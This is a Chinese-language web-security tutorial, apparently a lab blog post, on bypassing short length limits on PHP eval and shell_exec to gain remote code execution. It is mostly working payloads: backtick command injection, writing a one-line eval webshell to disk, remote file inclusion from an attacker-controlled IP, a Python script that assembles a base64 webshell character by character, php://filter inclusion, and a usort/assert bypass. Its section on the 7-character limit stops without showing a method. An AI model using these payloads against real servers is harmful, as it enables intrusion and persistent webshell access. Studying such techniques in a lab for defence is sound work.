目录
RCE执行漏洞:
执行命令行命令“写入如下内容到文件,会自动将创建木马文件并将一句话木马写入其中,使用连接工具连接即可
一、长度17的限制绕过
$param = $_REQUEST['param']; if (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false) { eval($param); }
1、最简单的绕过
(一)绕过
param限制是17,我们只要param传入的参数长度下于17就可以
param=echo `$_GET[1]`;&1=id
可以看到可以执行系统命令了
(二)编写一句话木马
利用之前的命令执行语句创建一个新的php文件
param=echo%20`$_GET[1]`;&1=touch 1.php
进入系统可以看到创建成功
注:如果没有创建成功,大概率是你的www-data对html目录的权限不够,
解决办法:修改权限或修改目录的所属者等等,办法众多
接下来我们往这创建好的文件里写内容:
param=echo%20`$_GET[1]`;&1=echo '<?php eval($_GET[1]);' > 1.php
成功写入!接下来连接蚁剑试试
连接成功!
2、文件包含的利用
(一)远程文件包含的利用
可以使用远程文件,但正常文件包含include $_GET[1];,这个刚好17个字符,超了一位。
不过,其实include$_GET[1];也是可以运行的,中间的空格可以不要。
这也是一个思路,但限制就是需要开启远程文件包含,但这个选项默认是关闭的。
include包含的所有文件都以php格式运行。
param=include$_GET[1];&1=//192.168.xxx.xxx//get.php
(二)本地文件包含的利用
1、向服务器写入文件并包含
既然文件要利用包含了,那么我们就应该先要想办法将马先写入一个文件才行,有了这个思路,那么想想该怎么写入呢?
这时候可以利用一下file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:
param=$_GET[a](N,a,8);&a=file_put_contents 刚好16位
file_put_contents的第一个参数是文件名,我传入N。第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。
除了file_put_contents,error_log函数效果也类似。
但这个方法有个问题,就是file_put_contents第二个参数如果是符号,就会导致PHP出错,比如 code=$_GET[a](N,<,8);&a=file_put_contents。但如果要写webshell的话,“<”等符号又是必不可少的。
于是上网找资料看到一个办法,每次向文件'N'中写入一个字母或数字,最后构成一个base64字符串,再包含的时候使用php://filter对base64进行解码即可。
咱在只需要将PD9waHAgZXZhbCgkX1BPU1RbMV0pOw一个一个写入到文件里就行
将这些字符通过file_put_contents依次写入文件N中
他的参数有(file,content,type)。第一个是要上传的文件名,第二个是文件内容,第三个为8时就表示像文件追加内容,而不是覆盖
由于字符有点多,手动一个一个有点慢,下面我写了一个脚本,快速执行访问
import requests string = 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOw' for i in string: payload = "http://192.168.217.135/demo.php?param=$_GET[a](N,{},8);&a=file_put_contents".format(i) response = requests.get(payload) if response.status_code == 200: print(i) else: print(response.status_code)
查看结果,写入成功
文件内容写好后,使用文件包含,直接使用蚁剑进行连接
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
php://filter ----文件伪协议
read ----表示读取文件
convert.base64-decode -----表示将文件内容进行base64解码
resource ----表示读取的文件路径和文件名
因为我编码的内容为:
所以连接时用1来连接 。
3、usort绕过
用于绕过长度限制;
(一)绕过方法:
?1[]=test&1[]=phpinfo();&2=assert
-------------------------------post传参:
param=usort(...$_GET);
(二)过程解析
通过GET传入两个数据,一个数组,和一个assert函数
通过POST处理传入的GET参数
详细过程如下:
usort函数
['test','phpinfo()'] ,assert
相当于用assert取处理前面数组里面的每一个值
类似于:
usort(['test','phpinfo()'],'assert')
二、长度7的绕过
代码:
$param = $_REQUEST['param']; if ( strlen($param) < 8 ) { echo shell_exec($param); }
使用之前的:`$_GET[1]` ----长度为10,用不了了
1、绕过方法:
文件确实写入了网站后台目录。
为了节省时间,直接看结果
成功的创建了一个一句话木马文件。
尝试连接试一试